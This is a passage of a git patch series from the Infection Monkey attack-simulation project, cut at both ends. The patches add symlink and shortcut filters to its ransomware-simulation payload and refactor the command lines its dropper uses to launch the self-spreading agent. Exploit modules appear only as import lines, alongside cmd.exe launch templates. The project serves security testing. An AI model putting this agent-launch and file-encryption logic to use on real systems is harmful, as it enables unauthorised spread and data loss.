b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 1b193fc3ea2..b8ff47a65c6 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -4,7 +4,7 @@ get_all_regular_files_in_directory, ) -FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz"] +FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg"] SUBDIRS = ["subdir1", "subdir2"] @@ -70,6 +70,18 @@ def test_filter_files__all_true(tmp_path): assert sorted(filtered_files) == expected_return_value +def test_filter_files__multiple_filters(tmp_path): + files = add_files_to_dir(tmp_path) + expected_return_value = sorted(files[4:6]) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files( + files_in_dir, [lambda f: f.name.startswith("2"), lambda f: f.name.endswith("g")] + ) + + assert sorted(filtered_files) == expected_return_value + + def test_file_extension_filter(tmp_path): valid_extensions = {".zip", ".xyz"} From 14845c659a11d5bc8c647b7a96d7d277996e22c5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 14:59:14 -0400 Subject: [PATCH 0855/1360] agent: Add is_not_symlink_filter() Adds a filter that can be used with filter_files() to return only files that are not symlinks. --- monkey/infection_monkey/utils/dir_utils.py | 4 ++++ .../infection_monkey/utils/test_dir_utils.py | 22 +++++++++++++++++++ monkey/tests/utils.py | 9 ++++++++ 3 files changed, 35 insertions(+) create mode 100644 monkey/tests/utils.py diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 3cc839d0ef7..31455535e8c 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -19,3 +19,7 @@ def inner_filter(f: Path): return f.suffix in file_extensions return inner_filter + + +def is_not_symlink_filter(f: Path): + return not f.is_symlink() diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index b8ff47a65c6..089563cee89 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,7 +1,13 @@ +import os + +import pytest +from tests.utils import is_user_admin + from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, get_all_regular_files_in_directory, + is_not_symlink_filter, ) FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg"] @@ -91,3 +97,19 @@ def test_file_extension_filter(tmp_path): filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)]) assert sorted(files[0:2]) == sorted(filtered_files) + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_is_not_symlink_filter(tmp_path): + files = add_files_to_dir(tmp_path) + link_path = tmp_path / "symlink.test" + link_path.symlink_to(files[0], target_is_directory=False) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [is_not_symlink_filter]) + + assert link_path in files_in_dir + assert len(filtered_files) == len(FILES) + assert link_path not in filtered_files diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py new file mode 100644 index 00000000000..1e55e9bc381 --- /dev/null +++ b/monkey/tests/utils.py @@ -0,0 +1,9 @@ +import ctypes +import os + + +def is_user_admin(): + if os.name == "posix": + return os.getuid() == 0 + + return ctypes.windll.shell32.IsUserAnAdmin() From 4eaa56847966c0980b4fffeb9cfbe34edb5401ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 15:04:48 -0400 Subject: [PATCH 0856/1360] agent: Do not encrypt symlinks in ransomware simulation In order to keep Infection Monkey safe for production environments, the ransomware payload will explicitly ignore symlinks to prevent important files from accidentally getting encrypted. --- monkey/infection_monkey/ransomware/ransomware_payload.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index d6a36ab5be4..3ad33c29fff 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -6,6 +6,7 @@ file_extension_filter, filter_files, get_all_regular_files_in_directory, + is_not_symlink_filter, ) from infection_monkey.utils.environment import is_windows_os @@ -24,7 +25,10 @@ def run_payload(self): self._encrypt_files(file_list) def _find_files(self): - file_filters = [file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)] + file_filters = [ + file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION), + is_not_symlink_filter, + ] all_files = get_all_regular_files_in_directory(self.target_dir) return filter_files(all_files, file_filters) From 41bf137ee4817c731928bda9dc81b887d70af2d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 15:24:36 -0400 Subject: [PATCH 0857/1360] agent: Add is_not_shortcut_filter() Adds a filter that can be used with filter_files() to return only files that are not Windows shortcuts. --- monkey/infection_monkey/utils/dir_utils.py | 4 ++++ .../infection_monkey/utils/test_dir_utils.py | 14 +++++++++++++- 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 31455535e8c..7045563357f 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -23,3 +23,7 @@ def inner_filter(f: Path): def is_not_symlink_filter(f: Path): return not f.is_symlink() + + +def is_not_shortcut_filter(f: Path): + return f.suffix != ".lnk" diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 089563cee89..8ebddf28065 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -7,10 +7,12 @@ file_extension_filter, filter_files, get_all_regular_files_in_directory, + is_not_shortcut_filter, is_not_symlink_filter, ) -FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg"] +SHORTCUT = "shortcut.lnk" +FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg", SHORTCUT] SUBDIRS = ["subdir1", "subdir2"] @@ -113,3 +115,13 @@ def test_is_not_symlink_filter(tmp_path): assert link_path in files_in_dir assert len(filtered_files) == len(FILES) assert link_path not in filtered_files + + +def test_is_not_shortcut_filter(tmp_path): + add_files_to_dir(tmp_path) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [is_not_shortcut_filter]) + + assert len(filtered_files) == len(FILES) - 1 + assert SHORTCUT not in [f.name for f in filtered_files] From 2549f088d157c969ce1d2a1dd617a93139924f4f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 15:26:06 -0400 Subject: [PATCH 0858/1360] agent: Do not encrypt Windows shortcuts in ransomware simulation In order to keep Infection Monkey safe for production environments, the ransomware payload will explicitly ignore Windows shortcuts to prevent important files from accidentally getting encrypted. --- monkey/infection_monkey/ransomware/ransomware_payload.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 3ad33c29fff..d2c8f578dda 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -6,6 +6,7 @@ file_extension_filter, filter_files, get_all_regular_files_in_directory, + is_not_shortcut_filter, is_not_symlink_filter, ) from infection_monkey.utils.environment import is_windows_os @@ -27,6 +28,7 @@ def run_payload(self): def _find_files(self): file_filters = [ file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION), + is_not_shortcut_filter, is_not_symlink_filter, ] From f5ebd2d39a34a85b81582c8fe5b96d2c8b3eb1ef Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 23 Jun 2021 11:48:24 +0300 Subject: [PATCH 0859/1360] Fix a bug of incorrect access to ransomware config options in ransomware_payload.py --- monkey/infection_monkey/ransomware/ransomware_payload.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 941055062fb..f9141f77d3c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -9,9 +9,12 @@ def __init__(self, config: dict): def run_payload(self): LOG.info( - f"Windows dir configured for encryption is " f"{self.config['windows_dir_ransom']}" + f"Windows dir configured for encryption is " + f"{self.config['directories']['windows_dir']}" + ) + LOG.info( + f"Linux dir configured for encryption is " f"{self.config['directories']['linux_dir']}" ) - LOG.info(f"Linux dir configured for encryption is " f"{self.config['linux_dir_ransom']}") file_list = self._find_files() self._encrypt_files(file_list) From 0517f3e06fd6d3d3a8bf8edbfc3653e3ff78e935 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Jun 2021 20:56:51 +0200 Subject: [PATCH 0860/1360] Added string templating functions for infection monkey dropper. --- monkey/infection_monkey/dropper.py | 19 +++++++------------ monkey/infection_monkey/utils/commands.py | 15 +++++++++++++++ 2 files changed, 22 insertions(+), 12 deletions(-) create mode 100644 monkey/infection_monkey/utils/commands.py diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 902d3028091..2b6987cf40c 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -4,7 +4,6 @@ import logging import os import pprint -import shlex import shutil import subprocess import sys @@ -17,6 +16,7 @@ from infection_monkey.model import MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from infection_monkey.utils.commands import get_monkey_cmd_lines_linux, get_monkey_cmd_lines_windows if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -145,13 +145,9 @@ def start(self): if OperatingSystem.Windows == SystemInfoCollector.get_os(): # TODO: Replace all of this string templating with a function that accepts # the necessary parameters and returns a list of arguments. - monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} - + monkey_options - ) - monkey_cmdline_split = shlex.split( - monkey_cmdline, - posix=False, # won't try resolving "\" in paths as part of escape sequences + + monkey_cmdline, monkey_cmdline_split = get_monkey_cmd_lines_windows( + MONKEY_CMDLINE_WINDOWS, self._config["destination_path"], monkey_options ) monkey_process = subprocess.Popen( @@ -168,11 +164,10 @@ def start(self): # using thw `cwd` argument in `subprocess.Popen` below # TODO: Replace all of this string templating with a function that accepts # the necessary parameters and returns a list of arguments. - monkey_cmdline = ( - MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} - + monkey_options + + monkey_cmdline, monkey_cmdline_split = get_monkey_cmd_lines_linux( + MONKEY_CMDLINE_LINUX, dest_path, monkey_options ) - monkey_cmdline_split = shlex.split(monkey_cmdline) monkey_process = subprocess.Popen( monkey_cmdline_split, diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py new file mode 100644 index 00000000000..451f03f8660 --- /dev/null +++ b/monkey/infection_monkey/utils/commands.py @@ -0,0 +1,15 @@ +import shlex + + +def get_monkey_cmd_lines_windows(monkey_cmdline_windows, destination_path, monkey_options): + monkey_cmdline = monkey_cmdline_windows % {"monkey_path": destination_path} + monkey_options + + return monkey_cmdline, shlex.split(monkey_cmdline, posix=False) + + +def get_monkey_cmd_lines_linux(monkey_cmdline_linux, destination_path, monkey_options): + monkey_cmdline = ( + monkey_cmdline_linux % {"monkey_filename": destination_path.split("/")[-1]} + monkey_options + ) + + return monkey_cmdline, shlex.split(monkey_cmdline, posix=False) From 9fd27141f2ed092c7f9844043e638e812506db6d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 19:50:34 +0200 Subject: [PATCH 0861/1360] Resolved string templating in dropper and windows_upgrader. --- monkey/infection_monkey/dropper.py | 28 ++++----- monkey/infection_monkey/exploit/hadoop.py | 3 +- monkey/infection_monkey/exploit/mssqlexec.py | 7 +-- monkey/infection_monkey/exploit/sambacry.py | 7 +-- monkey/infection_monkey/exploit/shellshock.py | 7 +-- monkey/infection_monkey/exploit/smbexec.py | 7 +-- monkey/infection_monkey/exploit/sshexec.py | 7 +-- .../infection_monkey/exploit/tools/helpers.py | 36 ----------- monkey/infection_monkey/exploit/vsftpd.py | 7 +-- monkey/infection_monkey/exploit/web_rce.py | 7 +-- .../infection_monkey/exploit/win_ms08_067.py | 7 +-- monkey/infection_monkey/exploit/wmiexec.py | 7 +-- monkey/infection_monkey/model/__init__.py | 5 +- monkey/infection_monkey/utils/commands.py | 62 ++++++++++++++++--- monkey/infection_monkey/windows_upgrader.py | 23 +++---- .../test_commands.py} | 19 +++++- 16 files changed, 114 insertions(+), 125 deletions(-) rename monkey/tests/unit_tests/infection_monkey/{exploit/tools/test_helpers.py => utils/test_commands.py} (54%) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 2b6987cf40c..a9b75335792 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,11 +12,13 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from infection_monkey.utils.commands import get_monkey_cmd_lines_linux, get_monkey_cmd_lines_windows +from infection_monkey.utils.commands import ( + build_monkey_commandline_explicitly, + get_monkey_cmd_lines_linux, + get_monkey_cmd_lines_windows, +) if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -143,15 +145,13 @@ def start(self): ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): - # TODO: Replace all of this string templating with a function that accepts - # the necessary parameters and returns a list of arguments. - monkey_cmdline, monkey_cmdline_split = get_monkey_cmd_lines_windows( - MONKEY_CMDLINE_WINDOWS, self._config["destination_path"], monkey_options + monkey_cmdline = get_monkey_cmd_lines_windows( + self._config["destination_path"], monkey_options ) monkey_process = subprocess.Popen( - monkey_cmdline_split, + monkey_cmdline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, @@ -162,15 +162,13 @@ def start(self): dest_path = self._config["destination_path"] # In Linux, we need to change the directory first, which is done # using thw `cwd` argument in `subprocess.Popen` below - # TODO: Replace all of this string templating with a function that accepts - # the necessary parameters and returns a list of arguments. - monkey_cmdline, monkey_cmdline_split = get_monkey_cmd_lines_linux( - MONKEY_CMDLINE_LINUX, dest_path, monkey_options - ) + monkey_cmdline = get_monkey_cmd_lines_linux(dest_path, monkey_options) + + LOG.info("Commands of monkey cmdline_split %s", monkey_cmdline) monkey_process = subprocess.Popen( - monkey_cmdline_split, + monkey_cmdline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, @@ -182,7 +180,7 @@ def start(self): LOG.info( "Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, - monkey_cmdline, + " ".join(monkey_cmdline), ) time.sleep(3) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 7a0264380b8..227638d5ef6 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -13,7 +13,7 @@ import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( @@ -22,6 +22,7 @@ ID_STRING, MONKEY_ARG, ) +from infection_monkey.utils.commands import build_monkey_commandline __author__ = "VakarisZ" diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 24b46d27842..6269a877898 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,14 +8,11 @@ from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_monkey_dest_path, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 11a2ab9c513..3ca5d992158 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -36,16 +36,13 @@ import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey_by_os, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.network.tools import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.utils.commands import build_monkey_commandline __author__ = "itay.mizeretz" diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 7bca6b04ba1..bf6c5589e0f 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -10,14 +10,11 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import DROPPER_ARG from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.commands import build_monkey_commandline __author__ = "danielg" diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 81fc2848c1e..189bc51ad1d 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -5,16 +5,13 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.commands import build_monkey_commandline LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 3dedae11455..bfcab4a4670 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -9,15 +9,12 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.commands import build_monkey_commandline __author__ = "hoffer" diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index a863f9499c2..f7f6eadb8b7 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -45,42 +45,6 @@ def get_target_monkey_by_os(is_windows, is_32bit): return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline_explicitly( - parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None -): - cmdline = "" - - if parent is not None: - cmdline += f" -p {parent}" - if tunnel is not None: - cmdline += f" -t {tunnel}" - if server is not None: - cmdline += f" -s {server}" - if depth is not None: - if int(depth) < 0: - depth = 0 - cmdline += f" -d {depth}" - if location is not None: - cmdline += f" -l {location}" - if vulnerable_port is not None: - cmdline += f" -vp {vulnerable_port}" - - return cmdline - - -def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): - from infection_monkey.config import GUID - - return build_monkey_commandline_explicitly( - GUID, - target_host.default_tunnel, - target_host.default_server, - depth, - location, - vulnerable_port, - ) - - def get_monkey_depth(): from infection_monkey.config import WormConfiguration diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 8af8e24d994..7164a21c8d4 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -11,11 +11,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import ( CHMOD_MONKEY, @@ -25,6 +21,7 @@ WGET_HTTP_UPLOAD, ) from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.commands import build_monkey_commandline LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 5620c425a16..1bd9fd6b433 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,11 +5,7 @@ from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import ( BITSADMIN_CMDLINE_HTTP, @@ -28,6 +24,7 @@ from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.commands import build_monkey_commandline __author__ = "VakarisZ" diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 2d005e5430e..1e92eadf5e6 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -16,15 +16,12 @@ from common.utils.shellcode_obfuscator import clarify from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.random_password_generator import get_random_password LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index cad313f8c62..c89b2d5eaa7 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,14 +7,11 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 988edbc07e6..c7b8609b7cb 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -7,7 +7,9 @@ ID_STRING = "M0NK3Y3XPL0ITABLE" # CMD prefix for windows commands -CMD_PREFIX = "cmd.exe /c" +CMD_EXE = "cmd.exe" +CMD_CARRY_OUT = "/c" +CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % ( CMD_PREFIX, DROPPER_ARG, @@ -16,7 +18,6 @@ CMD_PREFIX, MONKEY_ARG, ) -MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,) DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( CMD_PREFIX, DROPPER_ARG, diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 451f03f8660..8d32299658d 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,15 +1,61 @@ -import shlex +import logging +from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG -def get_monkey_cmd_lines_windows(monkey_cmdline_windows, destination_path, monkey_options): - monkey_cmdline = monkey_cmdline_windows % {"monkey_path": destination_path} + monkey_options +LOG = logging.getLogger(__name__) - return monkey_cmdline, shlex.split(monkey_cmdline, posix=False) +def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): + from infection_monkey.config import GUID -def get_monkey_cmd_lines_linux(monkey_cmdline_linux, destination_path, monkey_options): - monkey_cmdline = ( - monkey_cmdline_linux % {"monkey_filename": destination_path.split("/")[-1]} + monkey_options + return "".join( + build_monkey_commandline_explicitly( + GUID, + target_host.default_tunnel, + target_host.default_server, + depth, + location, + vulnerable_port, + ) ) - return monkey_cmdline, shlex.split(monkey_cmdline, posix=False) + +def build_monkey_commandline_explicitly( + parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None +): + cmdline = [] + + if parent is not None: + cmdline.append("-p") + cmdline.append(f"{parent}") + if tunnel is not None: + cmdline.append("-t") + cmdline.append(f"{tunnel}") + if server is not None: + cmdline.append("-s") + cmdline.append(f"{server}") + if depth is not None: + if int(depth) < 0: + depth = 0 + cmdline.append("-d") + cmdline.append(f"{depth}") + if location is not None: + cmdline.append("-l") + cmdline.append(f"{location}") + if vulnerable_port is not None: + cmdline.append("-vp") + cmdline.append(f"{vulnerable_port}") + + return cmdline + + +def get_monkey_cmd_lines_windows(destination_path, monkey_options): + monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG] + + return monkey_cmdline + monkey_options + + +def get_monkey_cmd_lines_linux(destination_path, monkey_options): + monkey_cmdline = [destination_path.split("/")[-1], MONKEY_ARG] + + return monkey_cmdline + monkey_options diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index d81b7dc522b..09936fc5b78 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -1,5 +1,4 @@ import logging -import shlex import shutil import subprocess import sys @@ -8,8 +7,10 @@ import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.commands import ( + build_monkey_commandline_explicitly, + get_monkey_cmd_lines_windows, +) from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os __author__ = "itay.mizeretz" @@ -46,20 +47,12 @@ def upgrade(opts): opts.parent, opts.tunnel, opts.server, opts.depth ) - # TODO: Replace all of this string templating with a function that accepts - # the necessary parameters and returns a list of arguments. - monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % {"monkey_path": WormConfiguration.dropper_target_path_win_64} - + monkey_options - ) - - monkey_cmdline_split = shlex.split( - monkey_cmdline, - posix=False, # won't try resolving "\" in paths as part of 